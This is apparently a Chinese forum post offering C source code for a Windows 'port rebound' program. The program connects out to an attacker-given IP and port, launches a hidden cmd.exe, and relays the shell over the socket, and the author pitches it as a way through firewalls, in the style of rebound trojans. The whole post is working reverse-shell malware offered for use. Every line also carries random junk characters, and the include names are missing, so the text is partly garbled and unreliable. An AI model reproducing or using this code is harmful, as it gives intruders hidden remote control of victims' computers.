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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^SKuX?f\  
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/* ============================== a$SGFA}V  
Rebound port in Windows NT |Tp>,\:5  
By wind,2006/7 .W<yiB}^  
===============================*/ ZVj/lOP X  
#include q8{) 27f,  
#include N%\!eHxy  
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#pragma comment(lib,"wsock32.lib") "-+5`!Y  
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void OutputShell(); K uz /  
SOCKET sClient; V3NQij(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ljTnxg/? W  
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void main(int argc,char **argv) {]/}3t  
{ /L8Q[`;.  
WSADATA stWsaData; [wJM=` !W  
int nRet; [kIiKLX  
SOCKADDR_IN stSaiClient,stSaiServer; %># VhK  
@\*`rl]  
if(argc != 3) WswM5RN  
{ 'c7'iDM  
printf("Useage:\n\rRebound DestIP DestPort\n"); v(0IQ  
return; _xWX/1DY  
} @23?II$=@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H*.v*ro9_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r+Pfq[z&  
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stSaiClient.sin_family = AF_INET; ;S_Imf0$v  
stSaiClient.sin_port = htons(0); X-4(oE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iv!;gMco  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Yt!o Hn  
{ :Bh7mF-1  
printf("Bind Socket Failed!\n"); QBYY1)6S,  
return; 1La?x'{2MP  
} V3S"LJ  
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stSaiServer.sin_family = AF_INET; ZGw 6Bd_I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lRANXM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -<6b[YA  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h wi!C}  
{ {EjzJr>  
printf("Connect Error!"); Z!+n/ D-1  
return; Fy*t[>  
} gJ H^f3  
OutputShell(); tXCgRU  
} Ow N~-).%-  
bXz*g`=;  
void OutputShell() :sS4T&@1=  
{ }U^iVq*  
char szBuff[1024]; ok1w4#%,  
SECURITY_ATTRIBUTES stSecurityAttributes; I.gF38Mx  
OSVERSIONINFO stOsversionInfo; i'B$Xr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nGM;|6x"8|  
STARTUPINFO stStartupInfo; )b~+\xL5J  
char *szShell; ?BX}0RWMh7  
PROCESS_INFORMATION stProcessInformation; RGLJaEl !  
unsigned long lBytesRead; uO((Mg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t=\ ffpA  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X"V)oC  
stSecurityAttributes.lpSecurityDescriptor = 0; *^iSP(dg  
stSecurityAttributes.bInheritHandle = TRUE; ><C9PS@  
w!b;.l  
.:t&LC][  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q26 qY5D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w5vzj%6i  
3fUiYI|&7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5,BvT>zFY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )=!|^M  
stStartupInfo.wShowWindow = SW_HIDE; NOFH  
stStartupInfo.hStdInput = hReadPipe; 7e[&hea  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z%nplG'~|  
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GetVersionEx(&stOsversionInfo); hbSKlb0d  
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switch(stOsversionInfo.dwPlatformId) )1g\v8XT  
{ {rzQ[_)EC  
case 1: #+ {%>f  
szShell = "command.com"; CQA^"Ll  
break; ItE)h[86  
default: WHr:M/qD  
szShell = "cmd.exe"; .PCbGPbk  
break; Gb.}af#v  
} 5*O]`Q7  
WV;[vg]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Uo JMOw[  
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send(sClient,szMsg,77,0); "uBr]N:  
while(1) Pu}PE-b  
{ ]_hXg*?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3 =_to7]  
if(lBytesRead) kZQ$Iv+^(  
{ f|,2u5 ;z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 787}s`,}  
send(sClient,szBuff,lBytesRead,0); iJk/fvi  
} 3ZqtIQY`  
else wEEFpn_   
{ % %QAC4  
lBytesRead=recv(sClient,szBuff,1024,0); Ifj%"RI  
if(lBytesRead<=0) break; h}%yG{'/M=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &.:yP3  
} yjucR Fl  
} *4 Kc "M  
w*AXD!}  
return; {N0ky=u d  
}
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